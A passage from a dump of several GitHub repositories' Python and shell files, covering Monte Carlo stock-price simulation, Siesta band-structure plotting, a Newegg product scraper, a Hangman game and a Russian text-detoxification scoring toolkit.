6.00000000e+00,\n 4.00000000e+00, 4.00000000e+00, 4.00000000e+00,\n 2.00000000e+00, 1.00000000e+00, 1.00000000e+00,\n 0.00000000e+00, 0.00000000e+00, 0.00000000e+00,\n 0.00000000e+00, 1.00000000e+00, 0.00000000e+00,\n 1.00000000e+00, 0.00000000e+00, 0.00000000e+00,\n 0.00000000e+00, 0.00000000e+00, 0.00000000e+00,\n 0.00000000e+00, 1.00000000e+00]),\narray([ 26.20663435, 35.08198541, 43.95733647, 52.83268753,\n 61.70803859, 70.58338965, 79.45874071, 88.33409177,\n 97.20944283, 106.08479389, 114.96014495, 123.83549601,\n 132.71084707, 141.58619813, 150.46154919, 159.33690025,\n 168.21225131, 177.08760237, 185.96295343, 194.83830449,\n 203.71365555, 212.58900661, 221.46435767, 230.33970873,\n 239.21505979, 248.09041085, 256.96576191, 265.84111297,\n 274.71646403, 283.59181509, 292.46716615, 301.34251721,\n 310.21786827, 319.09321933, 327.96857039, 336.84392145,\n 345.71927251, 354.59462357, 363.46997463, 372.34532569,\n 381.22067675, 390.09602781, 398.97137887, 407.84672993,\n 416.72208099, 425.59743205, 434.47278311, 443.34813417,\n 452.22348523, 461.09883629, 469.97418735]), <a list of 50 Patch objects>)\n'''\nplt.grid(True)\nplt.show()\n\n\n# 根据ST1随机变量符合对数正态分布,使用lognormal进行模拟\nS2 = S0 * npr.lognormal((r - 0.5 * sigma ** 2) * T, sigma * np.sqrt(T), size=I)\nplt.hist(S2, bins=50)\n'''\n(array([ 8., 52., 127., 339., 529., 755., 923., 963., 939.,\n 941., 770., 692., 637., 498., 393., 307., 237., 200.,\n 126., 128., 103., 62., 63., 40., 28., 41., 25.,\n 18., 12., 6., 6., 3., 3., 5., 4., 2.,\n 2., 2., 5., 1., 1., 0., 1., 0., 1.,\n 1., 0., 0., 0., 1.]), array([ 25.42617276, 33.75013302, 42.07409328, 50.39805354,\n 58.7220138 , 67.04597406, 75.36993432, 83.69389458,\n 92.01785484, 100.3418151 , 108.66577536, 116.98973562,\n 125.31369588, 133.63765614, 141.9616164 , 150.28557666,\n 158.60953692, 166.93349718, 175.25745744, 183.5814177 ,\n 191.90537796, 200.22933822, 208.55329848, 216.87725874,\n 225.201219 , 233.52517926, 241.84913952, 250.17309977,\n 258.49706003, 266.82102029, 275.14498055, 283.46894081,\n 291.79290107, 300.11686133, 308.44082159, 316.76478185,\n 325.08874211, 333.41270237, 341.73666263, 350.06062289,\n 358.38458315, 366.70854341, 375.03250367, 383.35646393,\n 391.68042419, 400.00438445, 408.32834471, 416.65230497,\n 424.97626523, 433.30022549, 441.62418575]), <a list of 50 Patch objects>)\n'''\nplt.grid(True)\nplt.show()\n\n# 使用下列函数对比ST1于S2的相似度\ndef print_statistics(a1, a2):\n sta1 = scs.describe(a1)\n sta2 = scs.describe(a2)\n print(\"%14a %14a %14s\" % ('statistic', 'data set 1' , 'dataset 2'))\n print(45 * \".\")\n print(\"%14s %14.3f %14.3f\" % ('size', sta1[0], sta2[0]))\n print(\"%14s %14.3f %14.3f\" % ('min', sta1[1][0], sta2[1][0]))\n print(\"%14s %14.3f %14.3f\" % ('max', sta1[1][1], sta2[1][1]))\n print(\"%14s %14.3f %14.3f\" % ('mean', sta1[2], sta2[2]))\n print(\"%14s %14.3f %14.3f\" % ('std' , np.sqrt(sta1[3]), np.sqrt(sta2[3])))\n print(\"%14s %14.3f %14.3f\" % ('skew' , sta1[4], sta2[4]))\n print(\"%14s %14.3f %14.3f\" % ('kurtosis' , sta1[5], sta2[5]))\n\nprint_statistics(ST1, S2)\n'''\n 'statistic' 'data set 1' dataset 2\n.............................................\n size 10000.000 10000.000\n min 26.207 25.426\n max 469.974 441.624\n mean 110.391 110.506\n std 40.291 41.063\n skew 1.199 1.332\n kurtosis 2.871 3.508\n'''\n\n\n# 几何布朗运动模拟\nI = 10000\nM = 50\ndt = T/M\nS = np.zeros((M+1, I))\nS[0] = S0\nfor t in range(1, M+1):\n S[t] = S[t-1] * np.exp((r - 0.5*sigma**2)*dt + sigma*np.sqrt(dt)*npr.standard_normal(I))\n\n\nplt.hist(S[-1], bins=50)\nplt.grid(True)\nplt.show()\n\n# 10条模拟路径\nplt.plot(S[:, :10], lw=1.5)\nplt.grid(True)\nplt.show()\n\n# 平方根扩散\nx0 = 0.05\nkappa = 3.0\ntheta = 0.02\nsigma = 0.1\n\nI = 10000\nM = 50\ndt = I / 50\n\ndef srd_euler():\n xh = np.zeros((M+1, I))\n x1 = np.zeros_like(xh)\n xh[0] = x0\n x1[0] = x0\n for t in range(1, M+1):\n xh[t] = (xh[t-1] + kappa * (theta - np.maximum(xh[t-1], 0)) * dt \\\n + sigma * np.sqrt(np.maximum(xh[t-1], 0)) * np.sqrt(dt) * npr.standard_normal(I))\n x1 = np.maximum(xh, 0)\n return x1\nx1 = srd_euler()\n\nplt.hist(x1[-1], bins=50)\nplt.grid(True)\nplt.show()\n\nplt.plot(x1[:, :10], lw=1.5)\nplt.grid(True)\nplt.show()\n\n\n\nS0 = 100\nr = 0.05\nv0 = 0.1\nkappa = 3.0\ntheta = 0.25\nsigma = 0.1\nrho = 0.6\nT = 1.0\n\n\ncorr_mat = np.zeros((2, 2))\ncorr_mat[0, :] = [1.0, rho]\ncorr_mat[1, :] = [rho, 1.0]\ncho_mat = np.linalg.cholesky(corr_mat)\n\nM = 50\nI = 10000\nran_num = npr.standard_normal((2, M + 1, I))\n\ndt = T / M\nv = np.zeros_like(ran_num[0])\nvh = np.zeros_like(v)\nv[0] = v0\nvh[0] = v0\nfor t in range(1, M+1):\n ran = np.dot(cho_mat, ran_num[:, t, :])\n vh[t] = (vh[t-1] + kappa * (theta - np.maximum(vh[t-1], 0)) * dt + sigma * np.sqrt(np.maximum(vh[t-1], 0)) * np.sqrt(dt) + ran[1])\n\nv = np.maximum(vh, 0)\n\nS = np.zeros_like(ran_num[0])\nS[0] = S0\nfor t in range(1, M+1):\n ran = np.dot(cho_mat, ran_num[:, t, :])\n S[t] = S[t-1] * np.exp((r-0.5 * v[t]) * dt + np.sqrt(v[t]) * ran[0] * np.sqrt(dt))\n\n\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(9, 5))\nax1.hist(S[-1], bins=50)\nax1.grid(True)\n\nax2.hist(v[-1], bins=50)\nax2.grid(True)\n\n\n\n\n"
}
] | 6 |
KazemZh/Band-Strucutre-Plot-Siesta | https://github.com/KazemZh/Band-Strucutre-Plot-Siesta | 23fb401b6a334c950b79c7c32a4d255beaae2220 | e7fdc22ec775d918269f67eac007669521c84733 | 578d7f5bfb80f75f85bc79a748761ab4e20aa05b | refs/heads/main | 2023-02-25T03:37:56.496878 | 2021-02-03T12:40:40 | 2021-02-03T12:40:40 | 311,632,578 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6177105903625488,
"alphanum_fraction": 0.6298056244850159,
"avg_line_length": 28.303796768188477,
"blob_id": "43bfffa8f6e63c4ecd8b954efd131d19faf523e6",
"content_id": "c02faa4380c0aa179db227c891a3d5723ce23f95",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2315,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 79,
"path": "/Siesta-bands.py",
"repo_name": "KazemZh/Band-Strucutre-Plot-Siesta",
"src_encoding": "UTF-8",
"text": "import matplotlib\nimport matplotlib.transforms as transforms\nfrom matplotlib.ticker import AutoMinorLocator\nimport matplotlib.pyplot as plt\n\nmatplotlib.rc('font', size=11)\n\nfname = './siesta.bands.gnu.dat'\nfstring= './siesta.bands'\n\nenergies = [[]]\nbands = [[]]\n\nfermi = 0 # In case it is not found in file\nwith open(fname, 'r') as _file:\n for line in _file:\n if \"E_F\" in line:\n fermi = float(line.split()[-1])\n break\n\nwith open(fname) as _file:\n for i in range(15):\n next(_file)\n for line in _file:\n if not line.strip():\n energies.append([])\n bands.append([])\n\n continue\n line_parse = [float(i) for i in line.split()]\n energies[-1].append(line_parse[0])\n bands[-1].append(line_parse[1] - fermi)\n\nfig, axes = plt.subplots(figsize=(10, 6))\nfor energy, band in zip(energies, bands):\n axes.plot(energy, band, 'k')\n\nhigh_symetry = []\npoint_label = []\nwith open(fstring, 'r') as file:\n for line in file:\n if \"'\" in line:\n point_label.append(line.split()[-1])\n high_symetry.append(float(line.split()[0]))\n \nfor i in range(len(point_label)):\n point_label[i] = point_label[i].replace(\"'\",\"\")\npoint_label = [i if i != 'Gamma' else r'$\\Gamma$' for i in point_label]\n\n\ntrans = transforms.blended_transform_factory(axes.transData, axes.transAxes)\n\nfor point, point_label in zip(high_symetry, point_label):\n axes.text(point, -0.05, point_label, transform=trans,\n horizontalalignment='center')\n\nfor point in high_symetry[1:-1]:\n axes.vlines(point, 0, 1, colors='k', transform=trans)\n\naxes.hlines(0, high_symetry[0], high_symetry[-1],\n linestyle='dashed', colors='k')\n\naxes.set_xlim((high_symetry[0], high_symetry[-1]))\nEi = float(input(\"Enter the lower limit of enery interval:\"))\nEf = float(input(\"Enter the upper limit of enery interval:\"))\naxes.set_ylim((Ei, Ef))\n\naxes.yaxis.set_minor_locator(AutoMinorLocator(2))\n\naxes.tick_params(axis='x', which='both', bottom=False, top=False,\n labelbottom=False)\n\naxes.tick_params(axis='y', which='both', direction='in', left=True,\n right=True, labelbottom=False)\n\naxes.set_ylabel('Energy (eV)')\n\nplt.savefig('band.pdf', bbox_inches='tight', transparent=True)\nplt.show()\n"
},
{
"alpha_fraction": 0.7722960114479065,
"alphanum_fraction": 0.7722960114479065,
"avg_line_length": 64.875,
"blob_id": "d28da0e20100f0aad42d410899aeb83941beffed",
"content_id": "89965fe7ddbe2cf0010f75add92c3e0d1753e65d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 527,
"license_type": "no_license",
"max_line_length": 205,
"num_lines": 8,
"path": "/README.md",
"repo_name": "KazemZh/Band-Strucutre-Plot-Siesta",
"src_encoding": "UTF-8",
"text": "# Band-Strucutre-Plot-Siesta\nThis python code plots the bands structure generated from Siesta code after transfrom the fomrat of the file generated by Siesta directly into the gnu format using \"gnubands\" program in the Util of siesta.\n\nThe files needed to run this code are:\n The .bands file generated from the siesta code, this file must be renamed as named \"siesta.bands\".\n The file generated by the \"gnubands\" program, this file must be renamed as \"siesta.bands.gnu.dat\".\n \nThe user can decide the range of energy.\n"
}
] | 2 |
JoshHall/webscrape_videocards | https://github.com/JoshHall/webscrape_videocards | 05ea4d0fef2d167d4984cae9ed3426dabe0f96e3 | 433f47fec8d46c726b387a047de46649d63a52f4 | b163082cd4d52ad4a322891589c76e712ff8c971 | refs/heads/master | 2020-11-24T10:22:34.710806 | 2019-12-14T23:55:18 | 2019-12-14T23:55:18 | 228,105,414 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6637881398200989,
"alphanum_fraction": 0.6672423481941223,
"avg_line_length": 28.94827651977539,
"blob_id": "13734255c8439275cc7613faaec4c59e4c8508fa",
"content_id": "4345020f47bca15d3b343f72f4c1f42cf73bf33c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1737,
"license_type": "no_license",
"max_line_length": 173,
"num_lines": 58,
"path": "/main.py",
"repo_name": "JoshHall/webscrape_videocards",
"src_encoding": "UTF-8",
"text": "import bs4\nfrom urllib.request import urlopen as uReq\nfrom bs4 import BeautifulSoup as soup\n\nmy_url = 'https://www.newegg.com/Video-Cards-Video-Devices/Category/ID-38?Tpk=graphics%20cards'\n\n# open connection and grabbing page\nuClient = uReq(my_url)\npage_html = uClient.read()\n\n# close connection\nuClient.close()\n\n# html parsing\npage_soup = soup(page_html, \"html.parser\")\n\n# grabs each product\ncontainers = page_soup.findAll(\"div\", {\"class\": \"item-container\"})\n\nfilename = \"products.csv\"\nf = open(filename, \"w\")\n\nheaders = \"prouctName, brand, features, shipping\\n\"\n\nf.write(headers)\n\n# grab the current products item-info\nfor container in containers:\n infoDiv = container.find(\"div\", \"item-info\")\n brand = infoDiv.div.a.img[\"title\"]\n productName = infoDiv.find(\"a\", \"item-title\").text\n shipping = infoDiv.find(\n \"div\", \"item-action\").find(\"li\", \"price-ship\").text.strip()\n\n f.write(productName.replace(\",\", \" | \") + \" , \" + brand + \" , \")\n\n # get item features and store in a list\n # Using two lists because first list stores all the text including the \\n escapechars that need to be replaced which is done in the second loop and appended to the first\n features = infoDiv.find(\"ul\", \"item-features\").findAll(\"li\")\n tempFeatures = []\n featureTextList = []\n for feature in features:\n tempFeatures.append(feature.text)\n\n for feature in tempFeatures:\n tempText = feature.replace('\\n', ' | ')\n featureTextList.append(tempText)\n f.write(tempText + \" | \")\n\n print(f\"Product Name: {productName}\")\n print(f\"Brand: {brand}\")\n print(f\"Feature list: {featureTextList}\")\n print(f\"Shipping: {shipping}\")\n print(\"\\n\")\n\n f.write(\" , \" + shipping + \"\\n\")\n\nf.close()\n"
}
] | 1 |
swati-1008/Hangman-Game | https://github.com/swati-1008/Hangman-Game | 3e0e87bde9300e5c62131a82064bdea5d83e47fe | 2393c96106c92b358bc95584fcc99552eb588fb3 | ccf425c30dc2e5008d4304ff4a79b5afc17d7c0a | refs/heads/main | 2023-02-13T05:12:17.228967 | 2021-01-07T02:33:17 | 2021-01-07T02:33:17 | 327,480,068 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6433301568031311,
"alphanum_fraction": 0.6471144556999207,
"avg_line_length": 21.02083396911621,
"blob_id": "3aa1b8583f724f405053485617c512627d6dda6d",
"content_id": "1b02ba631c43878064d259f8741b0913adc648ec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1057,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 48,
"path": "/hangman.py",
"repo_name": "swati-1008/Hangman-Game",
"src_encoding": "UTF-8",
"text": "import random\nimport hangman_art\nimport hangman_words\n\nprint(hangman_art.logo)\n\nchosen_word = random.choice(hangman_words.word_list)\nword_length = len(chosen_word)\n\nlives = 6\nstages = hangman_art.stages\n\nprint(f'Pssst, the solution is {chosen_word}.')\n\ndisplay = []\nfor letter in chosen_word:\n display.append('_')\n\nalready_guessed_letters = []\n\nprint(stages[lives])\n\nwhile '_' in display:\n guess = input(\"Guess a letter: \").lower()\n if guess in already_guessed_letters:\n print(\"You have already guessed the letter \" + guess + \".\")\n print(display)\n print(stages[lives])\n else:\n already_guessed_letters.append(guess)\n if guess not in chosen_word:\n lives -= 1\n print(guess + \" is not in the word. You lose a life.\")\n print(display)\n print(stages[lives])\n else:\n for index in range(len(chosen_word)):\n if chosen_word[index] == guess:\n display[index] = guess\n print(display)\n print(stages[lives])\n if lives == 0:\n break\n\nif lives == 0:\n print('You lose')\nelse:\n print('You win')\n"
},
{
"alpha_fraction": 0.7861915230751038,
"alphanum_fraction": 0.788418710231781,
"avg_line_length": 63.14285659790039,
"blob_id": "caba27a8773664743906199360cc303a9d3204d5",
"content_id": "c4b72f0cde559921bb03197e90b8fc3c15901b3c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 449,
"license_type": "no_license",
"max_line_length": 289,
"num_lines": 7,
"path": "/README.md",
"repo_name": "swati-1008/Hangman-Game",
"src_encoding": "UTF-8",
"text": "# Hangman-Game\n\nA beginner level project simulating the classic Hangman game, wherein the user guesses a letter, and is punished for every wrong guess by losing a life. After 6 lives, the game gets over. Also, he gets notified when he enters a wrong letter, and also when he guesses the same letter again.\n\nThis is a basic python project incorporating modules, loops, and conditionals.\n\nThe figures are ASCII arts taken from https://ascii.co.uk/art\n"
}
] | 2 |
avidale/mlcup | https://github.com/avidale/mlcup | d0eb1e124b67e4faa257a98110410347c43b0ef0 | 683d73600b413b03b648c3ddefebf5386d6722d4 | 3f0c249a3f6aff49c7958ff8ac90a88594398832 | refs/heads/main | 2023-08-19T17:07:01.214829 | 2021-10-25T23:09:44 | 2021-10-25T23:09:44 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7700729966163635,
"alphanum_fraction": 0.7737226486206055,
"avg_line_length": 44.66666793823242,
"blob_id": "da179222b05580df5e3cc9a8ae261b1f9b028052",
"content_id": "11adfaa9980e68999358b9ed1034a9565d4b2e07",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 274,
"license_type": "permissive",
"max_line_length": 104,
"num_lines": 6,
"path": "/nlp/load_resources.sh",
"repo_name": "avidale/mlcup",
"src_encoding": "UTF-8",
"text": "# classifier and vectors\nwget https://getfile.dokpub.com/yandex/get/https://disk.yandex.ru/d/9fAiLtgX-rMjtQ --content-disposition\ntar -xvzf data.tgz\n# lm\nwget https://getfile.dokpub.com/yandex/get/https://disk.yandex.ru/d/wXH__vIurMwVdA --content-disposition\n# word vectors\n"
},
{
"alpha_fraction": 0.7373737096786499,
"alphanum_fraction": 0.7373737096786499,
"avg_line_length": 23.75,
"blob_id": "2bc85fe6fbe40453658d1918cf0268d3e5c3c88d",
"content_id": "d6c00ece6850d1e641ef918af10e7e67a9381386",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 297,
"license_type": "permissive",
"max_line_length": 81,
"num_lines": 12,
"path": "/nlp/online_baseline_repdict/setup.sh",
"repo_name": "avidale/mlcup",
"src_encoding": "UTF-8",
"text": "set -e\n\necho \"Setting up!\"\n\n# Path to install the modules into (we don't have access to the default location)\nexport PYTHONUSERBASE=$(realpath modules)\n\n# note the --user flag!\npip install -r requirements.txt --user --find-links packages --no-index \npip install kenlm_source.zip\n\necho \"Success!\"\n"
},
{
"alpha_fraction": 0.6172278523445129,
"alphanum_fraction": 0.6245889067649841,
"avg_line_length": 38.90625,
"blob_id": "5a77d58286b3497a8e85906129d3c44bcf8a0353",
"content_id": "69996889ca1c617489964df4c7ef0a8cd5f6b0f3",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6389,
"license_type": "permissive",
"max_line_length": 120,
"num_lines": 160,
"path": "/nlp/score2.py",
"repo_name": "avidale/mlcup",
"src_encoding": "UTF-8",
"text": "# encoding=utf-8\nimport numpy as np\nimport torch\n\n\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification\nfrom tqdm.auto import tqdm\nimport argparse\nfrom pymystem3 import Mystem\nimport sys\nfrom functools import partial, lru_cache\nimport kenlm\n\nfrom score import logits_to_toxic_probas, is_word_start, iterate_batches, load_embeddings, \\\n greedy_match_embs, ALLOWED_ALPHABET\n\nCACHE_SIZE = 100_000\n\n\nclass Scorer:\n def __init__(self, model='trained_roberta', lm='lm.binary', embeddings='embeddings_with_lemmas.npz', device='cuda'):\n print(\"Loading tokenizer\", file=sys.stderr)\n self.tokenizer = AutoTokenizer.from_pretrained(model)\n print(\"Loading model\", file=sys.stderr)\n self.model = AutoModelForSequenceClassification.from_pretrained(model).to(device)\n\n self.stemmer = Mystem()\n\n print(\"Loading LM\", file=sys.stderr)\n self.lm = kenlm.Model(lm)\n\n print(\"Loading embeddings\", file=sys.stderr)\n self.embs_vectors, self.embs_voc, self.embs_voc_by_id = load_embeddings(embeddings)\n\n @lru_cache(maxsize=CACHE_SIZE)\n def normalize(self, sentence, max_tokens_per_word=20):\n def validate_char(c):\n return c in ALLOWED_ALPHABET\n\n sentence = ''.join(map(lambda c: c if validate_char(c) else ' ', sentence.lower()))\n ids = self.tokenizer(sentence)['input_ids']\n tokens = self.tokenizer.convert_ids_to_tokens(ids)[1:-1]\n\n result = []\n num_continuation_tokens = 0\n for token in tokens:\n if not is_word_start(token):\n num_continuation_tokens += 1\n if num_continuation_tokens < max_tokens_per_word:\n result.append(token.lstrip('#▁'))\n else:\n num_continuation_tokens = 0\n result.extend([' ', token.lstrip('▁#')])\n\n return ''.join(result).strip()\n\n @lru_cache(maxsize=CACHE_SIZE)\n def predict_toxicity_single(self, text, return_scores=True, verbose=False, **kwargs):\n return self.predict_toxicity([text], return_scores=return_scores, verbose=verbose, **kwargs)[0]\n\n @lru_cache(maxsize=CACHE_SIZE)\n def get_toxicity(self, text, return_scores=True, verbose=False, **kwargs):\n return self.predict_toxicity([text], return_scores=return_scores, verbose=verbose, **kwargs)[0]\n\n def predict_toxicity(self, sentences, batch_size=5, threshold=0.5, return_scores=False, verbose=True):\n results = []\n tqdm_fn = partial(tqdm, miniters=50) if verbose else lambda x, total: x\n\n for batch in tqdm_fn(iterate_batches(sentences, batch_size), total=np.ceil(len(sentences) / batch_size)):\n normlized = [self.normalize(sent, max_tokens_per_word=5) for sent in batch]\n tokenized = self.tokenizer(normlized, return_tensors='pt', padding=True, max_length=512, truncation=True)\n\n with torch.inference_mode():\n logits = self.model(**{key: val.to(self.model.device) for key, val in tokenized.items()}).logits\n preds = logits_to_toxic_probas(logits)\n if not return_scores:\n preds = preds >= threshold\n results.extend(preds)\n return results\n\n @lru_cache(maxsize=CACHE_SIZE)\n def lemmatize(self, w):\n return self.stemmer.lemmatize(w)\n\n @lru_cache(maxsize=CACHE_SIZE)\n def get_w2v_indicies(self, a):\n res = []\n if isinstance(a, str):\n a = a.split()\n for w in a:\n if w in self.embs_voc:\n res.append((w, self.embs_voc[w]))\n else:\n for lemma in self.lemmatize(w):\n if lemma.isalpha():\n res.append((w, self.embs_voc.get(lemma, None)))\n return res\n\n def calc_embs(self, words):\n words = ' '.join(map(self.normalize, words))\n inds = self.get_w2v_indicies(words)\n return [(w, i if i is None else self.embs_vectors[i]) for w, i in inds]\n\n def calc_semantic_distance(self, a, b):\n a_embs = self.calc_embs(a)\n b_embs = self.calc_embs(b)\n\n clip_distance = 5 # this clips long computations\n return np.exp(-(greedy_match_embs(a_embs, b_embs, max_dist=clip_distance) / (0.6 * np.log(1 + len(a)))) ** 2)\n\n @lru_cache(maxsize=CACHE_SIZE)\n def distance_score(self, original, fixed):\n original = original.split()\n fixed = fixed.split()\n return self.calc_semantic_distance(original, fixed)\n\n @lru_cache(maxsize=CACHE_SIZE)\n def lm_score(self, text):\n return self.lm.score(text, bos=True, eos=True)\n\n @lru_cache(maxsize=CACHE_SIZE)\n def compute_lmdiff(self, original, fixed):\n original_lm_logproba = self.lm_score(original)\n fixed_lm_logproba = self.lm_score(fixed)\n probability_fraction = 10**((fixed_lm_logproba - original_lm_logproba) / 25)\n return np.clip(probability_fraction, 0.0, 1.0)\n\n def compute_score(self, original_sentences, fixed_sentences, threshold=0.5, batch_size=5, raw=False, verbose=True):\n fixed_toxicities = self.predict_toxicity(\n fixed_sentences, threshold=threshold, batch_size=batch_size, return_scores=True, verbose=verbose,\n )\n scores = []\n lmdiffs = []\n emb_dists = []\n tq = tqdm if verbose else lambda x: x\n for original_sentence, fixed_sentence, fixed_toxicity in zip(\n tq(original_sentences), fixed_sentences, fixed_toxicities\n ):\n original_sentence = self.normalize(original_sentence)\n fixed_sentence = self.normalize(fixed_sentence)\n\n distance = self.distance_score(original_sentence, fixed_sentence)\n lmdiff = self.compute_lmdiff(original_sentence, fixed_sentence)\n\n score = (1 - fixed_toxicity) * distance * lmdiff\n\n lmdiffs.append(lmdiff)\n emb_dists.append(distance)\n scores.append(score)\n\n if verbose:\n print('mean style strength:', 1 - np.mean(fixed_toxicities), file=sys.stderr)\n print('mean lmdiff:', np.mean(lmdiffs), file=sys.stderr)\n print('mean distance_score:', np.mean(emb_dists), file=sys.stderr)\n print('mean joint score:', np.mean(scores))\n\n if raw:\n return 1 - np.array(fixed_toxicities), np.array(emb_dists), np.array(lmdiffs)\n\n return np.mean(scores)\n"
},
{
"alpha_fraction": 0.7560975551605225,
"alphanum_fraction": 0.7589669823646545,
"avg_line_length": 62.3636360168457,
"blob_id": "6f90423ee0d6e629ee0e6876900af8ddf63c21d7",
"content_id": "46184e3d705e0abc0e3e91a9f4f1b3100484df97",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 697,
"license_type": "permissive",
"max_line_length": 192,
"num_lines": 11,
"path": "/nlp/online_baseline_repdict/run.sh",
"repo_name": "avidale/mlcup",
"src_encoding": "UTF-8",
"text": "set -e \necho \"Running!\"\n# set this env variable so we can use the modules installed in setup.sh\nexport PYTHONUSERBASE=$(realpath modules)\n\n# python3 online_baseline.py $INPUT_PATH $OUTPUT_PATH --data $SOLUTION_ROOT/data.pkl --embeddings $DATA_ROOT/embeddings_with_lemmas.npz --tokenizer $DATA_ROOT/trained_roberta/\n# python online_baseline.py ../public_testset.short.txt out_example.txt --root . --embeddings ../embeddings_with_lemmas.npz --roberta ../trained_roberta --lm ./lm.binary\n\npython3 online_baseline.py $INPUT_PATH $OUTPUT_PATH --root $SOLUTION_ROOT --embeddings $DATA_ROOT/embeddings_with_lemmas.npz --roberta $DATA_ROOT/trained_roberta --lm $SOLUTION_ROOT/lm.binary\n\necho \"Finished\"\n"
},
{
"alpha_fraction": 0.7543859481811523,
"alphanum_fraction": 0.7543859481811523,
"avg_line_length": 28,
"blob_id": "066059ea5bca708f82bbeca76a408eaf2628ff22",
"content_id": "f00c41fd147b7811f2f7fd221a5473077f381b73",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 57,
"license_type": "permissive",
"max_line_length": 49,
"num_lines": 2,
"path": "/nlp/online_baseline_repdict/requirements.txt",
"repo_name": "avidale/mlcup",
"src_encoding": "UTF-8",
"text": "# https://github.com/kpu/kenlm/archive/master.zip\n# kenlm"
},
{
"alpha_fraction": 0.5293778777122498,
"alphanum_fraction": 0.5627880096435547,
"avg_line_length": 23.799999237060547,
"blob_id": "a5b81efe28082f93a1834933b918b0d90918aaa9",
"content_id": "af65b8e90433e0302e2ffafd3f9b2cd4822ccd17",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1736,
"license_type": "permissive",
"max_line_length": 97,
"num_lines": 70,
"path": "/nlp/inflector.py",
"repo_name": "avidale/mlcup",
"src_encoding": "UTF-8",
"text": "from pymorphy2 import MorphAnalyzer\nfrom functools import lru_cache\nanl = MorphAnalyzer()\n\n\n@lru_cache(maxsize=100_000)\ndef mparse(text, many=False):\n parses = anl.parse(text)\n if parses:\n if not many:\n return parses[0]\n return parses\n\n \npos2feats = {\n 'NOUN': {'case', 'number'},\n 'VERB': {'tense', 'number', 'person', 'mood'},\n 'ADJF': {'number', 'person', 'case'},\n}\n\neq_classes = {\n 'NOUN': 'NOUN',\n 'VERB': 'VERB',\n 'INFN': 'VERB',\n 'ADJF': 'ADJF',\n 'PRTF': 'ADJF'\n}\n\n\n@lru_cache(maxsize=100_000)\ndef inflect_like(w0, w1, verbose=False):\n p0 = mparse(w0)\n if not p0:\n if verbose: print('-')\n return w1\n if verbose: print(p0)\n cl = eq_classes.get(p0.tag.POS)\n if not cl:\n if verbose: print('~')\n return w1\n p1 = None\n for p11 in mparse(w1, many=True):\n if verbose: print(p11)\n if p11.tag and eq_classes.get(p11.tag.POS) == cl:\n p1 = p11\n break\n if not p0 or not p1: \n if verbose: print(0)\n return w1\n if cl not in pos2feats:\n if verbose: print(2)\n return w1\n feat_names = pos2feats[cl]\n if not all([hasattr(p.tag, f) for f in feat_names for p in [p0, p1]]):\n if verbose: print(3)\n # return w1\n feats = {getattr(p0.tag, f) for f in feat_names if hasattr(p0.tag, f) and getattr(p0.tag, f)}\n if verbose: print(feats)\n if not feats:\n if verbose: print(3); print(p0.tag)\n return w1\n try:\n inflected = p1.inflect(feats)\n except ValueError as e:\n if verbose: print(e)\n inflected = None\n if inflected and inflected.word:\n return inflected.word\n if verbose: print(4)\n return w1\n"
},
{
"alpha_fraction": 0.633176326751709,
"alphanum_fraction": 0.6357927918434143,
"avg_line_length": 29.822580337524414,
"blob_id": "8120b21f9557ece34e074fd4f001e173d2530e4d",
"content_id": "23f1b823b89ea7b26eb26acb57352692f97b1f43",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1911,
"license_type": "permissive",
"max_line_length": 174,
"num_lines": 62,
"path": "/nlp/online_baseline_repdict/online_baseline.py",
"repo_name": "avidale/mlcup",
"src_encoding": "UTF-8",
"text": "from functools import lru_cache\nimport argparse\nimport numpy as np\nimport pickle as pkl\nfrom tqdm.auto import tqdm\nfrom score2 import Scorer\nimport json\nimport os\n\n\ndef word2lemma(word):\n for lemma in scorer.lemmatize(word):\n return lemma.strip()\n return ''\n\n\ndef detox_dict(text):\n words = scorer.normalize(text).split()\n new_words = []\n for w in words:\n if w in repdict:\n new_words.append(repdict[w])\n continue\n lemma = word2lemma(w)\n if lemma in repdict_lemma:\n new_words.append(repdict_lemma[lemma])\n continue\n new_words.append(w)\n return ' '.join(new_words)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('original_texts', type=argparse.FileType('r'))\n parser.add_argument('fixed_texts', type=argparse.FileType('w'))\n parser.add_argument('--root', type=str, required=True)\n parser.add_argument('--embeddings', required=True, type=str)\n parser.add_argument('--roberta', required=True, type=str)\n parser.add_argument('--lm', required=True, type=str)\n \n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = parse_args()\n # python online_baseline.py ../public_testset.short.txt out_example.txt --root . --embeddings ../embeddings_with_lemmas.npz --roberta ../trained_roberta --lm ./lm.binary\n\n with open(os.path.join(args.root, 'repdict.json'), 'r', encoding='utf-8') as f:\n repdict = json.load(f)\n with open(os.path.join(args.root, 'repdict_lemma.json'), 'r', encoding='utf-8') as f:\n repdict_lemma = json.load(f)\n\n scorer = Scorer(\n model=args.roberta, \n lm=args.lm, \n embeddings=args.embeddings, \n device='cpu'\n )\n \n with args.original_texts, 